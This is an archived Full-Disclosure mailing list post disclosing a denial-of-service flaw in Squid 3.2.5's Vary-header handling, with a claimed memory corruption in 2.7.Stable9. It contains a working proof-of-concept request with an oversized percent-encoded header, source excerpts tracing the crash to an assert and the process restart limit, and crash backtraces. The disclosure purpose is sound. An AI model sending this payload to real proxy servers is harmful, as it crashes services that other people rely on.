lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-Id: <20130305210014.64FFE14DBD4@smtp.hushmail.com>
Date: Tue, 05 Mar 2013 21:00:14 +0000
From: tytusromekiatomek@...hmail.com
To: full-disclosure@...ts.grok.org.uk
Subject: Squid 3.2.5 httpMakeVaryMark() header value DoS,
	2.7.Stable9 memory corruption.

##############################################################
# httpMakeVaryMark() header value 'value' (http.cc:603 line) #
##############################################################
#
# Authors:
#
# 22733db72ab3ed94b5f8a1ffcde850251fe6f466
# c8e74ebd8392fda4788179f9a02bb49337638e7b
# AKAT-1
#
#######################################

# Versions: 3.2.5

  It takes combination of a 5x requests and responses in less than 10 seconds to crash the parent:
  Request
  -- cut --
  #!/usr/bin/env python
  print 'GET /index.html HTTP/1.1'
  print 'Host: localhost'
  print 'X-HEADSHOT: ' + '%XX' * 19000
  print '\r\n\r\n'
  -- cut --

  Response
  -- cut --
  HTTP/1.1 200 OK
  Vary: X-HEADSHOT
  -- cut --

  Code:

  In function httpMakeVaryMark() header value 'value' (http.cc:603 line) of the request is
  passed to rfc1738_escape_part() (rfc1738.c: 145 line) function, which escapes in POC example
  percent signs. This mean that the single charachter in request is now triple in length
  (e.g. '%' is now '%25'), thus 'X-HEADSHOT' header leangth from POC is now 57000 + (19000*2).

  This causes the 'value' length to be greater than 65536 (String.cc: 198 line) and the assert
  is invoked, which kills the child. When child is killed the Kid::stop() is called, which
  increments the 'badFailures' counter (Kid.cc:57 line). If the counter is greater than 4,
  then hopeless() function is called (src/ipc/Kid.cc:75 line), which terminates the main
  process of squid (parent) with the following message:
  "Squid Parent: (squid-1) process 8308 will not be restarted due to repeated, frequent failures"

  src/http.cc:
  573 httpMakeVaryMark(HttpRequest * request, HttpReply const * reply)
  574 {
  575     String vary, hdr;
  576     const char *pos = NULL;
  577     const char *item;
  578     const char *value;
  579     int ilen;
  580     static String vstr;
  581
  582     vstr.clean();
  583     vary = reply->header.getList(HDR_VARY);
  584
  585     while (strListGetItem(&vary, ',', &item, &ilen, &pos)) {
  586         char *name = (char *)xmalloc(ilen + 1);
  587         xstrncpy(name, item, ilen + 1);
  588         Tolower(name);
  589
  590         if (strcmp(name, "*") == 0) {
  591             /* Can not handle "Vary: *" withtout ETag support */
  592             safe_free(name);
  593             vstr.clean();
  594             break;
  595         }
  596
  597         strListAdd(&vstr, name, ',');
  598         hdr = request->header.getByName(name);
  599         safe_free(name);
  600         value = hdr.termedBuf();
  601
  602         if (value) {
  603             value = rfc1738_escape_part(value);
  604             vstr.append("=\"", 2);
  605             vstr.append(value);
  606             vstr.append("\"", 1);
  607         }

  lib/rfc1738.c:
  143         /* Do the triplet encoding, or just copy the char */
  144         if (do_escape == 1) {
  145             (void) snprintf(dst, (bufsize-(dst-buf)), "%%%02X", (unsigned char) *src);
  146             dst += sizeof(char) * 2;
  147         } else {
  148             *dst = *src;
  149         }

  src/String.cc:
  186 String::append( char const *str, int len)
  187 {
  188     assert(this);
  189     assert(str && len >= 0);
  190
  191     PROF_start(StringAppend);
  192     if (len_ + len < size_) {
  193         strncat(buf_, str, len);
  194         len_ += len;
  195     } else {
  196         // Create a temporary string and absorb it later.
  197         String snew;
  198         assert(len_ + len < 65536); // otherwise snew.len_ overflows below
  199         snew.len_ = len_ + len;
  200         snew.allocBuffer(snew.len_ + 1);
  201
  202         if (len_)
  203             memcpy(snew.buf_, rawBuf(), len_);
  204
  205         if (len)
  206             memcpy(snew.buf_ + len_, str, len);
  207
  208         snew.buf_[snew.len_] = '\0';
  209
  210         absorb(snew);
  211     }
  212     PROF_stop(StringAppend);
  213 }

  src/ipc/Kid.cc:
  46 /// called when kid terminates, sets exiting status
  47 void Kid::stop(status_type exitStatus)
  48 {
  49     assert(running());
  50     assert(startTime != 0);
  51
  52     isRunning = false;
  53
  54     time_t stop_time;
  55     time(&stop_time);
  56     if ((stop_time - startTime) < fastFailureTimeLimit)
  57         ++badFailures;
  58     else
  59         badFailures = 0; // the failures are not "frequent" [any more]
  60
  61     status = exitStatus;
  62 }
  70 /// returns true if master process should restart this kid
  71 bool Kid::shouldRestart() const
  72 {
  73     return !(running() ||
  74              exitedHappy() ||
  75              hopeless() ||
  76              shutting_down ||
  77              signaled(SIGKILL) || // squid -k kill
  78              signaled(SIGINT) || // unexpected forced shutdown
  79              signaled(SIGTERM)); // unexpected forced shutdown
  80 }

  src/ipc/Kid.h:
  23     /// keep restarting until the number of bad failures exceed this limit
  24     enum { badFailureLimit = 4 };
  25
  26     /// slower start failures are not "frequent enough" to be counted as "bad"
  27     enum { fastFailureTimeLimit = 10 }; // seconds



# BONUS POINT ;-) 
# Well, we think that in squid 2.7.Stable9 this is not cought in assert... *cough*


  #3  0x00007f9fd8cead76 in malloc_printerr (action=3, str=0x7f9fd8dbfc14 "malloc(): memory corruption", ptr=<optimized out>) at malloc.c:6283
  #16 0x00000000004874df in httpMakeVaryMark (request=0x42cf1410, reply=0x37d7c10) at http.c:397
and 
  #3  0x00007ff741a56d76 in malloc_printerr (action=3, str=0x7ff741b2f228 "double free or corruption (out)", ptr=<optimized out>) at malloc.c:6283
  #9  0x00000000004874df in httpMakeVaryMark (request=0x1f2dd20, reply=0x2bf6a90) at http.c:397
and 
  #3  0x00007f090d3add76 in malloc_printerr (action=3, str=0x7f090d486270 "free(): corrupted unsorted chunks", ptr=<optimized out>) at malloc.c:6283
  #9  0x00000000004874df in httpMakeVaryMark (request=0x371daf50, reply=0x373883a0) at http.c:397
and 
  #3  0x00007f609df68d76 in malloc_printerr (action=3, str=0x7f609e0411b8 "free(): invalid next size (normal)", ptr=<optimized out>) at malloc.c:6283
  #9  0x0000000000487507 in httpMakeVaryMark (request=0x8c2d1df0, reply=0x8850c050) at http.c:398
EOF

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ